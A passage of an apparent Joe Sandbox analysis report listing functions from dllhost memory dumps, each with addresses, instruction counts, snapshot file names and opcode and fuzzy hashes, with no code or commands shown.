                                                                                                                                        • Instruction Fuzzy Hash: 76118774A1891DCFDFA8EF58C895BA8B7B1FB69341F1005A9C00EE7691CB35A980DF01
                                                                                                                                        Function 00007FFD9C077DF8 Relevance: .0, Instructions: 44COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: e0e721c67f1cad4f684def00a13161cf0755e827bfbb4f65ca0041c9fb67f172
                                                                                                                                        • Instruction ID: 5fb9d424e3ad92bc2555386c47aca97480a82531aedf716f5b186aa4196e12ad
                                                                                                                                        • Opcode Fuzzy Hash: e0e721c67f1cad4f684def00a13161cf0755e827bfbb4f65ca0041c9fb67f172
                                                                                                                                        • Instruction Fuzzy Hash: B8015A52F0E59786F67F91AD1C324B865F16B686D0F6806BAD45E872C2DE0D2C503292
                                                                                                                                        Function 00007FFD9C294019 Relevance: .0, Instructions: 43COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 47f8ba2ca1f479218e92c74bc71e72fd493d4ced66fba2aa85323e2b0b936257
                                                                                                                                        • Instruction ID: 308cfe864fb7c7091054aee3fedc205818e810813a7cba4de1e607bc2c1083f3
                                                                                                                                        • Opcode Fuzzy Hash: 47f8ba2ca1f479218e92c74bc71e72fd493d4ced66fba2aa85323e2b0b936257
                                                                                                                                        • Instruction Fuzzy Hash: 73017C3190868D8FCF86EF68C868AA97FB0FF66300F0501DBD458C72A2DB349994CB41
                                                                                                                                        Function 00007FFD9C29AFF9 Relevance: .0, Instructions: 43COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 668d88c32b7929599d53902d7060efe3cc79ceb6e9ba54e7fbf019a937bdf5f3
                                                                                                                                        • Instruction ID: 6c86207699874d41e75f8d8c0667e88574e848b31536e377d65993d5a8e8a786
                                                                                                                                        • Opcode Fuzzy Hash: 668d88c32b7929599d53902d7060efe3cc79ceb6e9ba54e7fbf019a937bdf5f3
                                                                                                                                        • Instruction Fuzzy Hash: 8B019E70A1895D8FDBA8DF848465AB877B2FF68340F1400ADD05ED76D5DA355840CB10
                                                                                                                                        Function 00007FFD9B980C50 Relevance: .0, Instructions: 42COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 1e25486973b2e212c00eb83fd25aa292168940ba88c959215d4b19032bb23a41
                                                                                                                                        • Instruction ID: c838a7aee87996bd5ee103d963dcd04bf30b9663a9eaab6f2e36d5e845633069
                                                                                                                                        • Opcode Fuzzy Hash: 1e25486973b2e212c00eb83fd25aa292168940ba88c959215d4b19032bb23a41
                                                                                                                                        • Instruction Fuzzy Hash: CE01B134A0E68E8FE712ABA4C8646E97B71EF42310F0541A2D055D72E7CB385A18C781
                                                                                                                                        Function 00007FFD9C29B490 Relevance: .0, Instructions: 42COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: e8e71387180358f837344547c492d55dd6b3f38c8477fe3a5157f47f6ef36021
                                                                                                                                        • Instruction ID: 1d457a6a54797680344e41364ce1fbfde7b272a1386994c4c786c1bbf51f8b34
                                                                                                                                        • Opcode Fuzzy Hash: e8e71387180358f837344547c492d55dd6b3f38c8477fe3a5157f47f6ef36021
                                                                                                                                        • Instruction Fuzzy Hash: 1001E430914A1D8FCF84EF58C949AEE77F0FB28305F00056AA819D3290DB34EA54CB81
                                                                                                                                        Function 00007FFD9C29A919 Relevance: .0, Instructions: 41COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 9555444b0210c2bd67463bcd4bbe94188c497abde2b79e713271c6765c7eb5cd
                                                                                                                                        • Instruction ID: 7bfe7ac18fe71e1c2371c8993d9168e7fa0a4dc711d81a8293a93ea06c2ca370
                                                                                                                                        • Opcode Fuzzy Hash: 9555444b0210c2bd67463bcd4bbe94188c497abde2b79e713271c6765c7eb5cd
                                                                                                                                        • Instruction Fuzzy Hash: 49014F3490968D8FDF85EF64C869AA97FF0FF65300F0500DAD409C72A2DB359994CB81
                                                                                                                                        Function 00007FFD9C2940E8 Relevance: .0, Instructions: 41COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 70e91981fa67de66ff06fe01de4a06ffe2d507ed89b00889c324f1f13d905537
                                                                                                                                        • Instruction ID: f0803e00f8150484572e230463de2bcf411fb43ab041a522efcee6e5e863fa2f
                                                                                                                                        • Opcode Fuzzy Hash: 70e91981fa67de66ff06fe01de4a06ffe2d507ed89b00889c324f1f13d905537
                                                                                                                                        • Instruction Fuzzy Hash: 7D01BB3491490E9FDF94EF58C958AAE77F0FB68305F10056AA41DD3264DB31A594CB81
                                                                                                                                        Function 00007FFD9C292FF0 Relevance: .0, Instructions: 40COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: b6fc9d433c6471e403b86fdb1649a912d3a8cd77d069502db1a64ab34587ef7b
                                                                                                                                        • Instruction ID: 8d56e79ce0f56f8f4a05431e1053eef13defe8b431cb1bad7026404c893e73b9
                                                                                                                                        • Opcode Fuzzy Hash: b6fc9d433c6471e403b86fdb1649a912d3a8cd77d069502db1a64ab34587ef7b
                                                                                                                                        • Instruction Fuzzy Hash: E101C97091490D8FDF84EF58C848AEE7BF0FB68305F10056AA419D3264DB309590CB81
                                                                                                                                        Function 00007FFD9B9806A5 Relevance: .0, Instructions: 35COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 9fec6a70ab3db1b915af828ca08e0457b0a0764ed191c22e9edb7f4cfac0f583
                                                                                                                                        • Instruction ID: 3382fb7a5f0632ccc855f2cff1c1c678d6404ad63a04ac81c92da1e9af0feabf
                                                                                                                                        • Opcode Fuzzy Hash: 9fec6a70ab3db1b915af828ca08e0457b0a0764ed191c22e9edb7f4cfac0f583
                                                                                                                                        • Instruction Fuzzy Hash: E6F05430A26A0EAFEB94EF98D4596EE77E0FF54300F110537E41CD21A0DA35A6D4C781
                                                                                                                                        Function 00007FFD9C294030 Relevance: .0, Instructions: 35COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 340ebfb8d0c83103e3bc2d9c0293ffbc52c42d76d49905ce8b0cd353e7e78c0d
                                                                                                                                        • Instruction ID: 7ce20385ab72444cfa7c635fe9c90c759efd050b95bcf85a74bb4ed12466c813
                                                                                                                                        • Opcode Fuzzy Hash: 340ebfb8d0c83103e3bc2d9c0293ffbc52c42d76d49905ce8b0cd353e7e78c0d
                                                                                                                                        • Instruction Fuzzy Hash: 98F0BD3091490D9FDF84EF58C458AEA7BF1FB68305F10459AA41DD3254DB319594CB81
                                                                                                                                        Function 00007FFD9C2940C8 Relevance: .0, Instructions: 34COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 1ae7a8faf99e581781af4fccc9a10c5963aef08bf8e01a7d544c2886df34f4d5
                                                                                                                                        • Instruction ID: a416591e370377727cbe08b38ce50154e507836728fea8954e3f4c8145a0488c
                                                                                                                                        • Opcode Fuzzy Hash: 1ae7a8faf99e581781af4fccc9a10c5963aef08bf8e01a7d544c2886df34f4d5
                                                                                                                                        • Instruction Fuzzy Hash: D4F0F970914A4E9FDB50EF68C849AEA77F0FB18305F400566E81DD3254DB34A1948B81
                                                                                                                                        Function 00007FFD9B981300 Relevance: .0, Instructions: 33COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 0950cf2c9e572a9a3f228a3cd195d44818177bc8bafb5b305ac7b79f71bd3adb
                                                                                                                                        • Instruction ID: 58f04dab9416b01cac1349f77b10b656ad97eb6f39fbdf1f5f88e487739191f0
                                                                                                                                        • Opcode Fuzzy Hash: 0950cf2c9e572a9a3f228a3cd195d44818177bc8bafb5b305ac7b79f71bd3adb
                                                                                                                                        • Instruction Fuzzy Hash: 31F0BD34A1494D9FDF94EF58C448AAA77F0FF18304F0104A6F818C3264DA30E594CB81
                                                                                                                                        Function 00007FFD9C078037 Relevance: .0, Instructions: 33COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: da6bc4ad49ebb30edd54bb2464a9503f9014b6a9ab035ac4c3a0ce59826bc073
                                                                                                                                        • Instruction ID: 11a43fe5bcb5a500f6ea84958d665836d756f0e23893a1074b697459a79d9dde
                                                                                                                                        • Opcode Fuzzy Hash: da6bc4ad49ebb30edd54bb2464a9503f9014b6a9ab035ac4c3a0ce59826bc073
                                                                                                                                        • Instruction Fuzzy Hash: 10F0D274A1895DCFDF99EB98C895AACBBB1FB68345F100159800EE7651CB31A941DF40
                                                                                                                                        Function 00007FFD9C29A5F5 Relevance: .0, Instructions: 32COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 7664c9e657668cf5283d81518caa8ea8aa0e8290b5dc5760f12edcc2183fd116
                                                                                                                                        • Instruction ID: f0fa57f8f32b77318df3bc64659e1f6a9db27f2435efd8429a8b0b8c2d8fab8d
                                                                                                                                        • Opcode Fuzzy Hash: 7664c9e657668cf5283d81518caa8ea8aa0e8290b5dc5760f12edcc2183fd116
                                                                                                                                        • Instruction Fuzzy Hash: 93F05E3095968E9FDB51EF6489596ED7BB0FF14304F4105BBD418C25A2EB3496548B01
                                                                                                                                        Function 00007FFD9C29C7BA Relevance: .0, Instructions: 32COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 3d2c7948fe707cc49b07491fb8d4da17e585cf05c9a2f76551d33f0156a517fb
                                                                                                                                        • Instruction ID: 6b5c2a8d361af4953fd2a0404a1dca09bb66ff2f65f9a6dd83f21f9a89286277
                                                                                                                                        • Opcode Fuzzy Hash: 3d2c7948fe707cc49b07491fb8d4da17e585cf05c9a2f76551d33f0156a517fb
                                                                                                                                        • Instruction Fuzzy Hash: 72F0B462A0D3C74FEB329BA48DB15E43BE0EF5735071906FAC499CB2D3D6A42915D321
                                                                                                                                        Function 00007FFD9B988B1B Relevance: .0, Instructions: 30COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 27f0af358a8c59096fdff81d14ce0994227f5d6650b595e82ecc6736e53ed415
                                                                                                                                        • Instruction ID: e473fe5b408b777b2f692ff04dd5fcee6062e35d30e576a041f010cce507b2f2
                                                                                                                                        • Opcode Fuzzy Hash: 27f0af358a8c59096fdff81d14ce0994227f5d6650b595e82ecc6736e53ed415
                                                                                                                                        • Instruction Fuzzy Hash: 6201E870A2552D9EEBB4DF85C8A07A8B3B1AB50315F1145FAD009762E1DF785BC4CF10
                                                                                                                                        Function 00007FFD9B9806C8 Relevance: .0, Instructions: 30COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: cf6c9d342989206eac2540505c0e3936d45c3669bacc54595c0025bf0b14dcf1
                                                                                                                                        • Instruction ID: 35805d7ce094aede2048eb128eb4d90e6cdb044911a99f3eee4eace92ad84ce3
                                                                                                                                        • Opcode Fuzzy Hash: cf6c9d342989206eac2540505c0e3936d45c3669bacc54595c0025bf0b14dcf1
                                                                                                                                        • Instruction Fuzzy Hash: 15F03730915A4D9FDB94EFA4C4496EE77E0FF14304F110576E81DD2164DB34A6A4CBC1
                                                                                                                                        Function 00007FFD9C0792CF Relevance: .0, Instructions: 28COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 834565f7146231ec36122d5efe5f495033c67e1d114b4f1109502436b724441d
                                                                                                                                        • Instruction ID: 9622c41ed176c33906f634b64777b477dea5f11fbc25376c4ec291bd0b045b1d
                                                                                                                                        • Opcode Fuzzy Hash: 834565f7146231ec36122d5efe5f495033c67e1d114b4f1109502436b724441d
                                                                                                                                        • Instruction Fuzzy Hash: ACE02221F0C91B8EEB6C6A9098218FD72A0EF55391F84063AE01FC78C2CF2C750563A0
                                                                                                                                        Function 00007FFD9C29B4F1 Relevance: .0, Instructions: 27COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 88629b385c41330223187370170b64f5e76489a4f0423285f381c49dc07074e5
                                                                                                                                        • Instruction ID: d29519e49cf4641d2d4dc9a7765683a9707f534b9342573447339d658b59e2d5
                                                                                                                                        • Opcode Fuzzy Hash: 88629b385c41330223187370170b64f5e76489a4f0423285f381c49dc07074e5
                                                                                                                                        • Instruction Fuzzy Hash: B0E0DF72D4E2899FDB318FA0C9651EC3B70FF40340F5501F7E40A426C2EA28A6189A41
                                                                                                                                        Function 00007FFD9C075E03 Relevance: .0, Instructions: 26COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: fdaaac65a5fdd894beb3dcc01046563761eb764af57d085112c8fc0dff03764c
                                                                                                                                        • Instruction ID: a64f1667086d1cb419ad57ff621d74e2933bc5c48ed614ec84f3c2d9d984155a
                                                                                                                                        • Opcode Fuzzy Hash: fdaaac65a5fdd894beb3dcc01046563761eb764af57d085112c8fc0dff03764c
                                                                                                                                        • Instruction Fuzzy Hash: A7E0DFA2F0C4C75AFABCA2D418B20FC27A0FF24390F5800B4E41D931C2EE4D39423681
                                                                                                                                        Function 00007FFD9C079109 Relevance: .0, Instructions: 24COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 72b6bd70e419399d099ba14381ff0fec22b214f5e10c081de9c2221ecdadfa21
                                                                                                                                        • Instruction ID: dccf025bc74f5262971c270df4233e0dc10a48266e50b49cfdcd994a06fa67cb
                                                                                                                                        • Opcode Fuzzy Hash: 72b6bd70e419399d099ba14381ff0fec22b214f5e10c081de9c2221ecdadfa21
                                                                                                                                        • Instruction Fuzzy Hash: C7E0D821B0E68B9EE73626A05C260FC3B709F123A1F0505B3C50DCB4D3CF082425A761
                                                                                                                                        Function 00007FFD9C075E55 Relevance: .0, Instructions: 22COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: b4a3da489f1ce6905c7e04923bd7a059f5d08ea2c7ba0040d82ebdd6bdec5391
                                                                                                                                        • Instruction ID: f6d05e2ad4580071a8a0de4e4bb731ea7f5ac57a90a9f00c89c1b68ca6f74b30
                                                                                                                                        • Opcode Fuzzy Hash: b4a3da489f1ce6905c7e04923bd7a059f5d08ea2c7ba0040d82ebdd6bdec5391
                                                                                                                                        • Instruction Fuzzy Hash: 07E0DF31E1D38A8FD779CB908C660EC7F30FF00380F1801E7E50D47082DB246A08AA42
                                                                                                                                        Function 00007FFD9C07693E Relevance: .0, Instructions: 20COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 220c099278a052ecf17d24f524d9f8d5f2bf0bd6dc39e6e8eb2bb14c5046dc85
                                                                                                                                        • Instruction ID: 5ef096adbae48f8f48191c42b8a7b59891f34780a4e18661f1308ba199d2df08
                                                                                                                                        • Opcode Fuzzy Hash: 220c099278a052ecf17d24f524d9f8d5f2bf0bd6dc39e6e8eb2bb14c5046dc85
                                                                                                                                        • Instruction Fuzzy Hash: 41E07575F1841B8EDBA8DA8498615FDB774BF48250F500075D10EE3281DB246404AA60
                                                                                                                                        Function 00007FFD9C078627 Relevance: .0, Instructions: 18COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 1502d5b7d881dde75c12d2ff42780739ddfa614e680f7d5b1f65a8feb5f54c37
                                                                                                                                        • Instruction ID: a8083b595cc0568280d2344f97a181f63163d9ae98b008ac23930ceb2e9771c0
                                                                                                                                        • Opcode Fuzzy Hash: 1502d5b7d881dde75c12d2ff42780739ddfa614e680f7d5b1f65a8feb5f54c37
                                                                                                                                        • Instruction Fuzzy Hash: 3BE0EC41B0D2879BE7BA57B40C754686BA18F07384B180BB9D14E9B2D3DA597815B311
                                                                                                                                        Function 00007FFD9B980D4D Relevance: .0, Instructions: 15COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: dacf71f5bcffe294575af92f876f11af56f9cf6d949531ed91f39d0631d05b3a
                                                                                                                                        • Instruction ID: 55010e43384cd8e2fbc3e5455f337d068486c5b8156d14dc6e73cdf90835285e
                                                                                                                                        • Opcode Fuzzy Hash: dacf71f5bcffe294575af92f876f11af56f9cf6d949531ed91f39d0631d05b3a
                                                                                                                                        • Instruction Fuzzy Hash: 46E01234B1951F8BE710DF94C8546FE7361FB51711F004A26C01187296DB78675487C4
                                                                                                                                        Function 00007FFD9C075E3D Relevance: .0, Instructions: 15COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 610b9742cf8f78fb4186b413a3541f55e9cc1510ff72d52d76681145d2713b26
                                                                                                                                        • Instruction ID: c3617e08c753b6b0570cdccc5d5bbf75cfe93379efdd06e5d8c17411472114de
                                                                                                                                        • Opcode Fuzzy Hash: 610b9742cf8f78fb4186b413a3541f55e9cc1510ff72d52d76681145d2713b26
                                                                                                                                        • Instruction Fuzzy Hash: F8D09E31F0C90746D67C969594654F933B0AF54340F100479D00FC35D1DE2969856A41
                                                                                                                                        Function 00007FFD9C0790FB Relevance: .0, Instructions: 11COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: f5c8676b47044bbb3c5db7628fae0690d09d220f5ca17a06c309ede9dc85c081
                                                                                                                                        • Instruction ID: 0d69fd4e8183d3bc3fe34dee35326443eb7ad754559818e60a80e2dd44115579
                                                                                                                                        • Opcode Fuzzy Hash: f5c8676b47044bbb3c5db7628fae0690d09d220f5ca17a06c309ede9dc85c081
                                                                                                                                        • Instruction Fuzzy Hash: 8AD0C924B4D54B95F23C4AC1883523D16B09F00B80E64013DC19F43CC1CF1EB5517612
